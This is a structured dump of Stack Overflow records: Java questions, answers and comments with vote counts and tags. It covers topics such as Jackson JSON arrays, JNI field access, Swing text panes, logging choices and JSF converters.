has body: OK, so I'm using Jackson to parse a JSON file, problem is, the file is one big unnamed array. It is in the format: [ {json stuff}, {json stuff}, ..., {json stuff} ] All the json stuff is just regular JSON expressions that I will have to deal with once I actually get this into an array. I can't find any real tutorials about how to map things using Jackson, but need to find a way to map each of these different things into an array, and then parse each specific thing using Jackson into it's individual components. Any idea how to do this? P.S. The only real tutorial I could find was this: http://www.studytrails.com/java/json/java-jackson-Data-Binding.jsp Where DataSet[] is an array that is named in the file. I want to figure out how to do what that tutorial does, except with the example above, where the array does not start off with a name. P.P.S. Here is the code I'm using: Basic Jackson code to map into my item: ObjectMapper mapper = new ObjectMapper(); mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES); URL url = null; try { url = new URL("my JSON URL"); } catch (MalformedURLException e) { e.printStackTrace(); } try { ContactInfo contacts = mapper.readValue(url, ContactInfo.class); } catch (JsonParseException e) { e.printStackTrace(); } catch (JsonMappingException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } Then my ContactInfo class is just the Getters and Setters with the defined fields in the JSON URL. The problem is, without a name to the Array that breaks up all the different JSON nodes, I don't know how to access individual contact values, or if they are being overwritten.
tagged with: jackson
score: 4

http://stackoverflow.com/comment/33821164
has text: @MarkusMalkusch I am not the downvoter, but it does not solve the problem either, just makes it a little bit harder to get the password.
comment on: http://stackoverflow.com/a/22265992
type: Comment
score: 1
type: AnswerComment

http://stackoverflow.com/comment/33752249
has text: And why don't you just use [CardLayout](http://docs.oracle.com/javase/tutorial/uiswing/layout/card.html)
type: Comment
comment on: http://stackoverflow.com/q/22228670
score: 2
type: QuestionComment

http://stackoverflow.com/comment/33759363
type: Comment
type: QuestionComment
has text: If this is a CSV, why don't you use a dedicated library, like OpenCSV, for instance?
comment on: http://stackoverflow.com/q/22232397
score: 0

http://stackoverflow.com/a/28013587
has body: The GetObjectClass() function can be used within a native function to retrieve a reference to the object in which the native function has been defined. You then use this reference to access the fields within the object. For instance if you have a Java class with a simple variable and a native function declared. public class helloworld { public native int dataGet (); int myIntThing; } and then at some point you use this class to create an object as follows helloworld myWorld = new helloworld(); int jjj = myWorld.dataGet(); then in the native application library you could have a function like: JNIEXPORT jint JNICALL Java_helloworld_dataGet (JNIEnv *env, jobject obj) { jclass helloworld_obj = (*env)-&gt;GetObjectClass(env, obj); // get the old value of the object variable myIntThing then update it // with a new value and return the old value. jfieldID fid = (*env)-&gt;GetFieldID (env, helloworld_obj, "myIntThing", "I"); // find the field identifier for the myIntThing int variable jint myInt = (*env)-&gt;GetIntField (env, obj, fid); // get the value of myIntThing (*env)-&gt;SetIntField (env, obj, fid, 3); // set the value of myIntThing // we have modified the object's myIntThing variable now return the old value return myInt; } NOTE One word of caution. You would think that you could actually probe to see if a field is defined in an object by checking the value returned by the function GetFieldID() is not NULL however my experience is that using GetFieldID() specifying a variable or field that is not in the object will result in the Java VM terminating once the JNI function returns. My testing was with 1.6 so this may have changed however it may also be a security feature.
score: 2
upvote count: 3
downvote count: 1
answers question: http://stackoverflow.com/q/22306710
type: Answer

http://stackoverflow.com/comment/33884404
score: 0
type: Comment
comment on: http://stackoverflow.com/q/22291353
type: QuestionComment
has text: "is there a good way to automatically generate menu" -- In general, no. If you don't want to design the interaction techniques, you're better off getting something like a database -- perhaps one already designed for dealing with recipes -- rather than writing your own.

http://stackoverflow.com/q/22294114
has body: I am using jdk64 and my java version is 1.6.0_24. I am running both (Tomcat java process and VisualVM) processes as Administrator on Windows Server 2008. Tomcat is running with -Xmx7196m, where as jvisualvm is running with -Xms24m and -Xmx256m. Could this be the cause?
upvote count: 14
has answer: http://stackoverflow.com/a/74117942
tagged with: jvisualvm
tagged with: java
answer count: 3
has comment: http://stackoverflow.com/comment/33872112
possible better answer: http://stackoverflow.com/a/74117942
has answer: http://stackoverflow.com/a/50904905
score: 14
type: AnsweredQuestion
tagged with: profiling
downvote count: 0
has title: Java VisualVM does not show/list my tomcat java process
has answer: http://stackoverflow.com/a/22295237
favorite count: 0
has comment: http://stackoverflow.com/comment/33873292
tagged with: visualvm
type: Question
tagged with: jmx
accepted answer: http://stackoverflow.com/a/22295237

http://stackoverflow.com/q/22188986
downvote count: 0
has title: (Java Swing) How do I create a JTextPane with multiple icons on the same line?
favorite count: 0
possible better answer: http://stackoverflow.com/a/22189282
has answer: http://stackoverflow.com/a/22189282
has comment: http://stackoverflow.com/comment/33681968
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22189237
has body: As the question states, how do I successfully place multiple icons on the same line of text in a JTextPane? Every time I try to change the value of actionText, the results are very unpredictable. As an example, this is the kind of thing I'm trying to achieve : If I pass just the icon-tokens to create icons (" ", for example), they just stack on top of each other (or maybe not, hard to tell). If I put " , " or " and ", then the first fighter-icon appears on the first line, while the comma and other fighter-icon appears on the second line. I am currently trying using a solution built upon the oracle tutorial for JTextPane : JTextPane tutorial. Here is the chunk of my code that creates my custom text panes. public final class GameTextPaneFactory { private static final String[] ADVENTURER_TOKENS = {"&lt;FIGHTER&gt;", "&lt;CLERIC&gt;", "&lt;WIZARD&gt;", "&lt;ROGUE&gt;"}; private static final int TEXT_PANE_WIDTH = 30; public static JTextPane createActionTextPane(String actionText) { ArrayList&lt;String&gt;[] wordsAndStyles = parseActionText(actionText); JTextPane actionTextPane = new JTextPane(); StyledDocument doc = actionTextPane.getStyledDocument(); addStylesToDocument(doc); try { for (int i=0; i &lt; wordsAndStyles[0].size(); i++) { doc.insertString(doc.getLength(), wordsAndStyles[0].get(i), doc.getStyle(wordsAndStyles[1].get(i))); } } catch (BadLocationException ble) { System.err.println("Couldn't insert initial text into text pane."); } actionTextPane.setEditable(false); return actionTextPane; } private static void addStylesToDocument(StyledDocument doc) { // TODO add images (styles) here Style def = StyleContext.getDefaultStyleContext().getStyle(StyleContext.DEFAULT_STYLE); Style regular = doc.addStyle("regular", def); Style icons = doc.addStyle("fighterIcon", regular); StyleConstants.setAlignment(icons, StyleConstants.ALIGN_CENTER); ImageIcon fighterIcon = new ImageIcon("images/fighter_image.png", "fighter"); StyleConstants.setIcon(icons, fighterIcon); icons = doc…
tagged with: java
tagged with: jtextpane
tagged with: swing
type: Question
tagged with: icons
score: 4
accepted answer: http://stackoverflow.com/a/22189237
upvote count: 4
answer count: 2

http://stackoverflow.com/a/22259967
answers question: http://stackoverflow.com/q/22259809
type: Answer
score: 0
has body: The query looks correct, only instead DatabaseName should be the name of the table.

http://stackoverflow.com/a/22254728
type: Answer
has body: Let's step through int n = 7; //equals 0111 n&lt;&lt;=3; //signed left shift 0111 3 spaces which equals 0111000 n=n&amp;n+1|n+2^n+3; // (0111000 and 0111001) or (0111010 xor 0111011) // 0111000 or 0000001 // 0111001 n&gt;&gt;=2; //signed right shift 0111001 2 spaces equals 0001110 which equals 14 System.out.print(n); In case you don't know, n&lt;&lt;=3 is equivalent to n = n &lt;&lt; 3 similar to n += 1 is equivalent to n = n + 1
answers question: http://stackoverflow.com/q/22254435
accepted answer of: http://stackoverflow.com/q/22254435
upvote count: 4
type: AcceptedAnswer
downvote count: 0
score: 4
has comment: http://stackoverflow.com/comment/33800436

http://stackoverflow.com/comment/33848341
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22281273
has text: Isn't this `ArgumentCountException` should be `import YourPackageName.ArgumentCountException`
score: 0

http://stackoverflow.com/comment/33873360
type: Comment
type: QuestionComment
score: 0
has text: Thank you, it helped me to get further. Do you know any sources/litertur where i can read more abot everything is working together?
comment on: http://stackoverflow.com/q/22221381

http://stackoverflow.com/q/22260438
answer count: 1
has body: In below XML I need to confirm "Internet" is there. Internet I tried the following: WebElement findInternet = driver.findElement(By.xpath("//h1")); System.out.println(findInternet);
favorite count: 0
accepted answer: http://stackoverflow.com/a/22260633
has title: How do you get the value inside an XML document?
tagged with: http://stackoverflow.com/tag/xml
type: AnsweredQuestion
score: 0
tagged with: java
tagged with: selenium
upvote count: 1
downvote count: 1
type: Question
has answer: http://stackoverflow.com/a/22260633

http://stackoverflow.com/a/22327999
has comment: http://stackoverflow.com/comment/33932503
upvote count: 2
type: Answer
score: 2
has body: Logger is much better because you can configure appenders, size of the log file, log lever, rolling log files and many other things. Don't use System.out.println for any regular project. You can use it only if you have test project to verify if something in Java works like you think it should.
downvote count: 0
answers question: http://stackoverflow.com/q/22327884
has comment: http://stackoverflow.com/comment/33931837

http://stackoverflow.com/comment/33884267
comment on: http://stackoverflow.com/a/22301090
type: AnswerComment
type: Comment
score: 0
has text: @Amir Simply use the native `CountryCode.valueOf("AD")` method.

http://stackoverflow.com/comment/33851659
type: QuestionComment
comment on: http://stackoverflow.com/q/22282875
score: 0
has text: No. It is just helper to get access token from various providers
type: Comment

http://stackoverflow.com/comment/33885861
comment on: http://stackoverflow.com/a/22301152
score: 0
type: Comment
has text: i think this is the correct way "jclass cls = (*env)->GetObjectClass(env, obj);" :P
type: AnswerComment

http://stackoverflow.com/comment/33716891
type: Comment
comment on: http://stackoverflow.com/a/22208458
has text: Thank you for your reply , but I don't get one thing : Ok, the "YourCustomArrayAdapter" will extend ArrayAdapter. What about the getView method? How I will set the corresponding ImageView? Do I have to implement any Filter??
type: AnswerComment
score: 0

http://stackoverflow.com/comment/33700774
has text: I see. Thanks for info, I have to deal with this :)
comment on: http://stackoverflow.com/a/22198908
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/a/22249464
has body: shutdown() only signal ES to shutdown, you need awaitTermination(long timeout, TimeUnit unit) before print message
score: 0
type: Answer
answers question: http://stackoverflow.com/q/22248630

http://stackoverflow.com/a/22230083
upvote count: 9
has comment: http://stackoverflow.com/comment/33755146
has body: Because that's what multithreading is: do stuff in paralell; the relative order of threads is unspecified unless you synchronize manually. It's in your book.
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/22230052
type: Answer
answers question: http://stackoverflow.com/q/22230052
score: 9

http://stackoverflow.com/a/22291867
score: 1
answers question: http://stackoverflow.com/q/22291401
downvote count: 0
has comment: http://stackoverflow.com/comment/33890532
has body: In order to get different colors, you should have different series. Try something like this (not tested) private DataTable createTable() { DataTable data = DataTable.create(); data.addRows(4); data.addColumn(ColumnType.STRING, "Metal"); data.addColumn(ColumnType.NUMBER, "Density"); data.setValue(0, 0, "Copper" ); data.setValue(1, 0, "Silver"); data.setValue(2, 0, "Gold"); data.setValue(3, 0, "Platinum" ); data.setValue(0, 1, 9);// 9 is the value of the density data.setValue(1, 1, 11 ); data.setValue(2, 1, 19); data.setValue(3, 1, 21); return data; } } private Options createOptions() { Options options = Options.create(); String[] colorArray = {"#B87333","#C0C0C0","#FFD700","#E5E4E2"}; options.setColors(colorArray); //Other options return options; } EDIT So my first solution didn't achieve the desired display, in order to get it working, a workaround is necessary because the API provided for GWT doesn't offer such option. You should have a column and a row for each element. Also in order to have each bar aligned with its label the property isStacked has to be set to true. Here is the working example. Other options is available here import com.google.gwt.core.client.EntryPoint; import com.google.gwt.user.client.ui.FlowPanel; import com.google.gwt.user.client.ui.Panel; import com.google.gwt.user.client.ui.RootPanel; import com.google.gwt.visualization.client.AbstractDataTable; import com.google.gwt.visualization.client.AbstractDataTable.ColumnType; import com.google.gwt.visualization.client.DataTable; import com.google.gwt.visualization.client.VisualizationUtils; import com.google.gwt.visualization.client.visualizations.corechart.BarChart; import com.google.gwt.visualization.client.visualizations.corechart.Options; public class TestBar implements EntryPoint { public void onModuleLoad() { final FlowPanel flowPanel = new FlowPanel(); Panel panel = RootPanel.get(); panel.add(flowPanel); Runnable onLoadCallback = new Runnable() { public void run() { BarChart bar = new BarCh…
type: Answer
upvote count: 1
has comment: http://stackoverflow.com/comment/33903179

http://stackoverflow.com/q/22327884
type: UnansweredQuestion
downvote count: 2
has answer: http://stackoverflow.com/a/22328239
has body: Can anyone please tell me in web applications which is the better way to store log information. If we use tomcat server internally the log information will be stored in log file. What is the better approach to log the application data console for trouble shooting either by using system.out.println(" log information here") or log4j log file to store log. which one gives better performance when we are dealing the large application?
has title: Performance issue either System.out.println(" log information ") or use log4j logger file?
has comment: http://stackoverflow.com/comment/33933053
has comment: http://stackoverflow.com/comment/33931511
tagged with: java
has comment: http://stackoverflow.com/comment/33931389
type: Question
has answer: http://stackoverflow.com/a/22328118
has answer: http://stackoverflow.com/a/22327999
favorite count: 0
score: 0
tagged with: web
has answer: http://stackoverflow.com/a/22328011
answer count: 4
tagged with: log4j
upvote count: 2

http://stackoverflow.com/comment/33891997
has text: What did you try? Where's the problem?
score: 2
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22305532

http://stackoverflow.com/comment/33767650
type: QuestionComment
comment on: http://stackoverflow.com/q/22236578
has text: what do the numbers 0,1,2, and 3 mean
type: Comment
score: 1

http://stackoverflow.com/q/22290373
has title: Replace backslash with forward slash
tagged with: regex
has comment: http://stackoverflow.com/comment/33865379
favorite count: 0
score: 4
has comment: http://stackoverflow.com/comment/33898436
tagged with: file
answer count: 1
has answer: http://stackoverflow.com/a/22290396
tagged with: java
duplicate of: http://stackoverflow.com/q/6805028
has comment: http://stackoverflow.com/comment/33866331
has comment: http://stackoverflow.com/comment/33878849
linked to: http://stackoverflow.com/q/12734721
upvote count: 4
accepted answer: http://stackoverflow.com/a/22290396
duplicate of: http://stackoverflow.com/q/12734721
downvote count: 0
has body: I have the following path: com/teama/merc/test/resTest And I want to convert it to this: com\teama\merc\test\resTest I am trying to append the above path to this path: C:\Users\Toby\git\MERCury\MERCury\ With str.replace('/', '\\'); But when I append both of the strings together, this is the output: C:\Users\Toby\git\MERCury\MERCury\com/teama/merc/test/resTest Here is the code in question: String home = System.getProperty("user.dir"); path.replace('/', '\\'); System.out.println(path); String folder = home + File.separatorChar + path; System.out.println(folder); File file = new File(folder); if(file.isDirectory()) { System.out.println(file.getPath() + " is a directory"); } The appended path is not seen as a folder because of the slashes. Any help? Edit: Just to clarify, the full path (both strings appended) is infact a folder.
has comment: http://stackoverflow.com/comment/33925951
type: Question
has comment: http://stackoverflow.com/comment/33865429
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33983006

http://stackoverflow.com/a/22419754
accepted answer of: http://stackoverflow.com/q/22326057
answers question: http://stackoverflow.com/q/22326057
score: 0
has body: if(Keyboard.isKeyDown(Keyboard.KEY_A)) {rotation.y -= 1;} if(Keyboard.isKeyDown(Keyboard.KEY_D)) {rotation.y += 1;} This should do the same thing as Mouse.getDX() Alternatively, you could use: while(Keyboard.next()) { if(Keyboard.getEventKey() == Keyboard.KEY_ESCAPE) { if(Keyboard.getEventKeyState()) { Mouse.setGrabbed(!Mouse.isGrabbed()); Mouse.setCursorPosition(Display.getWidth()/2, Display.getHeight()/2); }}} if(Mouse.isGrabbed()) { //Use mouse for moving } else { //Use mouse for interface }
type: AcceptedAnswer
type: Answer

http://stackoverflow.com/a/22183700
answers question: http://stackoverflow.com/q/22183672
downvote count: 0
has body: If this.someMethod() returns false then this.mainMethod() will never be invoked due to the short circuit nature of the &amp;&amp; operator in the statement b = b &amp;&amp; this.mainMethod();
score: 6
type: Answer
upvote count: 6
accepted answer of: http://stackoverflow.com/q/22183672
type: AcceptedAnswer

http://stackoverflow.com/q/22202822
has answer: http://stackoverflow.com/a/22202939
possible better answer: http://stackoverflow.com/a/22202964
has title: Truth Table Generation
accepted answer: http://stackoverflow.com/a/22202939
score: -2
tagged with: digital-logic
has answer: http://stackoverflow.com/a/22203505
linked to: http://stackoverflow.com/q/36369288
tagged with: logic
has answer: http://stackoverflow.com/a/22202987
answer count: 4
favorite count: 0
has answer: http://stackoverflow.com/a/22202964
linked to: http://stackoverflow.com/q/1084873
has body: Anybody have thoughts on generating a row of a truth table with out creating the entire table. For example, a user would enter in a row number and that truth table row is generated. Also, this should be done without creating the table until you get to that row number. Essentially, I want to know if there is an efficient way to calculate a truth row value only based on a the truth table row as an input. Example: Assume 3 variables printTruthTableRow(3) would produce 010 Actually, could I just convert the input-1 to a binary value to get that truth table row? EDIT: Let me give you guys a little more background. I am wrote a basic DPLL SAT Solver in Java. My goal is to have a bunch of threads run the solver to solve the n-Queen problem. Currently, my algorithm generate a row of a truth table, one at a time, then feeds it to a thread to solve. The problem is that my truth table generation cannot be done concurrently by the threads. If a thread grabs a truth table row, it must lock the method, generate a row, and then unlock. I can increase speedup if less work is done when generating a truth table row. I can just convert an atomic count value to binary and have the thread test that. Thank you all for the answers.
downvote count: 4
type: AnsweredQuestion
tagged with: java
has comment: http://stackoverflow.com/comment/33706690
type: Question
upvote count: 2

http://stackoverflow.com/a/22178660
has body: This is exactly something, which should be done by class hiearchy. Like if you know, someone is Wizard, you should already known what he can attack or not, therefore you should move responsibility into that Wizard class instead of testing it externally. I did an example with 4 classes : In this enum are listed all attack types public enum AttackTypes { Magic, Meele, Ranged; } This is abstract class, it only helps you define behaviour that is same for all classes. I supposed that every class has some subset of "attack types" (or something similar). In my example, I just suppose, that each class can fight only against some types of attack. In constructor, I get all the attack I can fight and then I can chack it with this canAttack. public abstract class Champion { private List&lt;AttackTypes&gt; attackTo; public Champion(AttackTypes... attack) { this.attackTo = new ArrayList&lt;&gt;(); this.attackTo.addAll(Arrays.asList(attack)); } public boolean canAttack(AttackTypes attackType){ for (AttackTypes attack : attackTo){ if (attack == attackType){ return true; } } return false; } } This is simple Warrior class, in my example, it can fight only Magic and Meele : public class Warrior extends Champion{ public Warrior(){ super(AttackTypes.Magic, AttackTypes.Meele); } } And similar to Warrior, here is Wizard : public class Wizard extends Champion{ public Wizard(){ super(AttackTypes.Ranged, AttackTypes.Magic); } } This approach is important, because it is extremely easy to add new class (like Ranger for example). You just add him and thats all, you dont have to anything in your already finished code. Then you can use it as following : Champion wizard = new Wizard(); Champion warrior = new Warrior(); AttackTypes attackType = AttackTypes.Ranged; System.out.println("can wizard attack? : " + wizard.canAttack(attackType)); System.out.println("can warrior attack? : " + warrior.canAttack(attackType)); This having this output : can wizard attack? : true can warrior attack? : false
type: Answer
answers question: http://stackoverflow.com/q/22178166
score: 0

http://stackoverflow.com/comment/33857837
comment on: http://stackoverflow.com/q/22286370
score: 0
type: Comment
type: QuestionComment
has text: Read the error message. It says that the line `canvasWidth / lengthCountArray.length` throws an exception whose message is "division by 0". So obviously `lengthCountArray.length` is equal to 0.

http://stackoverflow.com/comment/34067727
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22302843
has text: possible duplicate of [Sending and Receiving Custom IQ XMPP ANDROID ASMACK](http://stackoverflow.com/questions/22405405/sending-and-receiving-custom-iq-xmpp-android-asmack)

http://stackoverflow.com/comment/33823621
comment on: http://stackoverflow.com/a/22265436
type: AnswerComment
type: Comment
has text: Also by adding jars through libjars, doesn't hadoop itself adds the file to its classpath
score: 0

http://stackoverflow.com/comment/33786811
comment on: http://stackoverflow.com/a/22246996
has text: thank you sir, i got a partial output : Srcip: dstip=10.180.1.105 Exception in thread "main" java.lang.IndexOutOfBoundsException: No group 2 ___I have written the output statements as: System.out.print("Srcip: " + m.group(1) + " " ); System.out.println("Dstip: " + m.group(2)); ____I guess this must be my mistake. any suggestions on this?
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/33756604
has text: I mentionned this to prevent you from searching why you got 18 where you expected 16 ;)
comment on: http://stackoverflow.com/q/22230826
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/33795717
type: AnswerComment
has text: @user3392877 What do you mean by "default error page"? What's displayed on that page?
type: Comment
score: 0
comment on: http://stackoverflow.com/a/22252009

http://stackoverflow.com/q/22256685
tagged with: java
has comment: http://stackoverflow.com/comment/33803865
type: Question
has answer: http://stackoverflow.com/a/22256879
has comment: http://stackoverflow.com/comment/33803882
has answer: http://stackoverflow.com/a/22256854
has comment: http://stackoverflow.com/comment/33804165
answer count: 2
has title: What is the alternative to list add method
favorite count: 0
downvote count: 5
type: UnansweredQuestion
has body: I got a strange question from my friend. Is there any other alternative to adding an object to a List without using the add method?
upvote count: 0
tagged with: list
score: -5
has comment: http://stackoverflow.com/comment/33803928

http://stackoverflow.com/a/22253364
type: Answer
has body: It is called String interning: http://en.wikipedia.org/wiki/String_interning To summarize, since strings are immutable in Java, JVM optimizes by creating only one object for two string literals that are equal. Therefore, comparison returns true.
answers question: http://stackoverflow.com/q/22253223
score: 0

http://stackoverflow.com/q/22170028
tagged with: logging
has body: I have configured WebLogic 12c to make use of the commons-logging library using this guide. I'm using the (default) JDK logger. All my logging lands in the server log, though I have specified an application log file in my deployment plan. The file is created, but completely different (JSP) logging written to the file: ####&lt;4-mrt-2014 13:17:15 uur CET&gt; &lt;Info&gt; &lt;ServletContext-/root&gt; &lt;WX00000219&gt; &lt;myserver&gt; &lt;[ACTIVE] ExecuteThread: '8' for queue: 'weblogic.kernel.Default (self-tuning)'&gt; &lt;&lt;anonymous&gt;&gt; &lt;&gt; &lt;&gt; &lt;1393935435877&gt; &lt;BEA-000000&gt; &lt;JspServlet: param verbose initialized to: true&gt; Anyone with some experience in logging to files per application using commons-logging?
tagged with: java
type: Question
tagged with: weblogic12c
score: 0
has title: WebLogic 12c commons-logging logfile per app
answer count: 1
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22306968

http://stackoverflow.com/comment/33700960
score: 0
has text: Are you sure it's `frame.setVisible(false)` throwing the exception? That stack trace says the problem is in the `drawOcean()` method.
type: Comment
comment on: http://stackoverflow.com/q/22199757
type: QuestionComment

hql
tag name: hql
tags question: http://stackoverflow.com/q/22208870
tags question: http://stackoverflow.com/q/22170941
tags question: http://stackoverflow.com/q/22246569
type: Tag
tags question: http://stackoverflow.com/q/22275982

http://stackoverflow.com/a/22739040
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/34666512
type: Answer
score: 11
upvote count: 11
accepted answer of: http://stackoverflow.com/q/22280322
answers question: http://stackoverflow.com/q/22280322
has body: Android Studio can run on whatever it needs, but the error seems to be pointing to the SDK that the project is using. To check what your project is using, go into Project Structure > Project Settings > Project. You should now see the Project SDK. It should say something like "Android API ## Platform (java version "1.7.[current version number]"). If it doesn't say 1.7.[current version number], then it probably needs to be updated. Here's what you can do to update it: In Project Structure > Platform Settings > SDKs, click the "+" button to add a new SDK. In the pop-up, go into your Android SDK folder and click "Choose" Another pop-up will appear asking for which SDK and JDK you want to use. Choose any Android SDK and the 1.7 JDK. Go to Project Structure > Project Settings > Project and change your Project SDK to the one you just created. You should see the name of the SDK with the new Java version that you installed.

http://stackoverflow.com/a/22242600
type: Answer
score: 1
upvote count: 1
has body: There are quite a few issues with that code (most glaring: when you catch the 'FileNotFound' you should return and log a 'fatal' - no point in continuing). I'm also assuming that your actual code is not the one you show (it wouldn't compile). Anyways, here's how you read a file in Java: public boolean isDuplicate(String lookup, String filename) { try { BufferedReader reader = new BufferedReader(new FileReader(filename)); String line; int lineNo = 0; while ((line = reader.readLine()) != null) { lineNo++; // best would be to use a regex to match against the line // however, the naive approach would be if (line.indexOf(lookup) != -1) { log.info(String.format"Lookup term %s found on line %d", lookup, lineNo); return true; } } log.info(String.format("Lookup term %s not found in %s", lookup, filename); return false; } catch (IOException e) { // log a fatal error and bail log.error(String.format("Could not read from %s [%s]", filename, e.getLocalizedMessage())); // here best practice would be to throw your own custom application ex throw new MyApplicationException(e); } } The while and the for both behave essentially the same way; the reason why your while never "returned" is probably due to your "exhausting" the stream in the countlines() method.
answers question: http://stackoverflow.com/q/22241966
downvote count: 0

http://stackoverflow.com/comment/33716300
has text: @MarkoTopolnik I would venture to guess that you had to learn about variable scope, order of evaluation in a statements, assignment by value vs reference, etc. one way or another (perhaps never in a 'test' as the OP)
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22207548

http://stackoverflow.com/comment/33748881
type: Comment
has text: I actually created the JUnit test plain vanilla using the Wizard in Eclipse. I did not tinker with the Build Path. Why should the unit test runner behave different for me than for anyone else? Apart from that I have not the faintest Idea how to check what you said :-(
comment on: http://stackoverflow.com/a/22226744
type: AnswerComment
score: 0

http://stackoverflow.com/q/22196091
has answer: http://stackoverflow.com/a/24719374
downvote count: 0
tagged with: amazon-web-services
tagged with: xml-parsing
tagged with: saml-2.0
tagged with: amazon-elastic-beanstalk
has answer: http://stackoverflow.com/a/24168189
favorite count: 0
upvote count: 2
type: UnansweredQuestion
has body: I am trying to parse SAML response with signature using Java.I get an exception javax.xml.crypto.URIReferenceException: com.sun.org.apache.xml.internal.security.utils.resolver.ResourceResolverException: Cannot resolve element with ID SAML- Upon investigation there is bug in Java after the 1.7 u25 versions.The reference is below http://bugs.java.com/bugdatabase/view_bug.do?bug_id=7094155. Could anybody point me how to correct this error,as I am using AWS Beanstalk(which has support only for 1.7 u 25 and that too only Linux.) Here is the starting code for reading the SAML and parsing,actually i need to validate the SAML along with signature. ByteArrayInputStream bis = new ByteArrayInputStream(resp.getBytes()); DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance(); documentBuilderFactory.setNamespaceAware(true); DocumentBuilder docBuilder; try { docBuilder = documentBuilderFactory.newDocumentBuilder(); Document doc = docBuilder.parse(bis); Node nl = doc.getElementsByTagNameNS(XMLSignature.XMLNS,"Signature").item(0); ..... any help would be appreciated.
has title: javax.xml.crypto.URIReferenceException: Cannot resolve element with ID SAML-
score: 2
tagged with: java
type: Question
answer count: 2

http://stackoverflow.com/comment/33915948
comment on: http://stackoverflow.com/a/22318268
has text: This is surely the right way to do it in production code, but it appeared to me that the OP was doing this for educational purposes.
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/q/22203420
score: 1
tagged with: java
has answer: http://stackoverflow.com/a/22204158
accepted answer: http://stackoverflow.com/a/22204158
tagged with: jsf-2
answer count: 2
linked to: http://stackoverflow.com/q/21837334
upvote count: 1
has title: JSF converter global solution
favorite count: 0
possible better answer: http://stackoverflow.com/a/22203741
has answer: http://stackoverflow.com/a/22203741
tagged with: converters
has body: Normaly i implements my jsf converter as my example. But if i have 10 components that need converter, i need 10 converters, too. Question: Give it a better solution or a global solution for a jsf converter, so that not every component needs his own converter? Converter: @FacesConverter(value="PersonConverter") public class PersonConverter implements Converter{ @Override public Object getAsObject(FacesContext context, UIComponent component, String value) { if(value != null){ MyBean bean = (MyBean)FacesContext.getCurrentInstance().getViewRoot().getViewMap().get("myBean"); for(Person p : bean.getSearchedPersons()){ if(p.getName().equals(value)){ return p; } } } return null; } @Override public String getAsString(FacesContext context, UIComponent component, Object value) { if(value != null &amp;&amp; value instanceof Person){ return ((Person)value).getName(); } return null; } } Bean: @ViewScoped @ManagedBean public class MyBean { @EJB private PersonService service; private List&lt;Person&gt; searchedPersons; private Person selectedPerson; public void printSelectedPerson(ActionEvent event) { System.out.println("Selected Person: " + selectedPerson.getName()); } public List&lt;Person&gt; searchValues(String str) { searchedPersons = service.searchPerson(str); return searchedPersons; } /** GETTER &amp; SETTER */ XHTML: &lt;h:form id="mainform"&gt; &lt;p:autoComplete completeMethod="#{myBean.searchValues}" value="#{myBean.selectedPerson}" converter="PersonConverter" var="p" itemLabel="#{p.name}" itemValue="#{p}" forceSelection="true"/&gt; &lt;p:commandButton value="Test" actionListener="#{myBean.printSelectedPerson}"/&gt; &lt;p:messages globalOnly="false" autoUpdate="true"/&gt; &lt;/h:form&gt;
downvote count: 0
type: Question
type: AnsweredQuestion
tagged with: primefaces

http://stackoverflow.com/q/22327631
answer count: 2
upvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/22327801
has answer: http://stackoverflow.com/a/22327913
has comment: http://stackoverflow.com/comment/33931043
has comment: http://stackoverflow.com/comment/33931812
downvote count: 0
type: UnansweredQuestion
score: 1
has title: java.lang.RuntimeException: java.lang.ClassNotFoundException: com.coremedia.iso.boxes.mdat.MediaDataBox
tagged with: java
has body: can anybody help in solving the title exception? (run in cmd of win7, Java jre7) some examples for the detailed exception Exception in thread "main" java.lang.RuntimeException: java.lang.ClassNotFoundException: com.coremedia.iso.boxes.mdat.MediaDataBox at com.coremedia.iso.PropertyBoxParserImpl.createBox(PropertyBoxParserImpl.java:112) at com.coremedia.iso.AbstractBoxParser.parseBox(AbstractBoxParser.java:102) at com.googlecode.mp4parser.BasicContainer.next(BasicContainer.java:155) ..... Caused by: java.lang.ClassNotFoundException: com.coremedia.iso.boxes.mdat.MediaDataBox at java.net.URLClassLoader$1.run(Unknown Source)
type: Question
has comment: http://stackoverflow.com/comment/33930979

http://stackoverflow.com/a/22254010
answers question: http://stackoverflow.com/q/22253806
has body: You should make all the JRadioButton's static including the ButtonGroup. Then you need to change the button listener: button.addActionListener(new ActionListener() { @Override public void actionPerformed(java.awt.event.ActionEvent arg0) { System.out.println(group.getSelection().getActionCommand()); } }); And to fix the NullPointerException, use this for all your radiobuttons: choice1.setActionCommand("Choice 1");
score: 0
has comment: http://stackoverflow.com/comment/33798879
type: Answer

http://stackoverflow.com/q/22302691
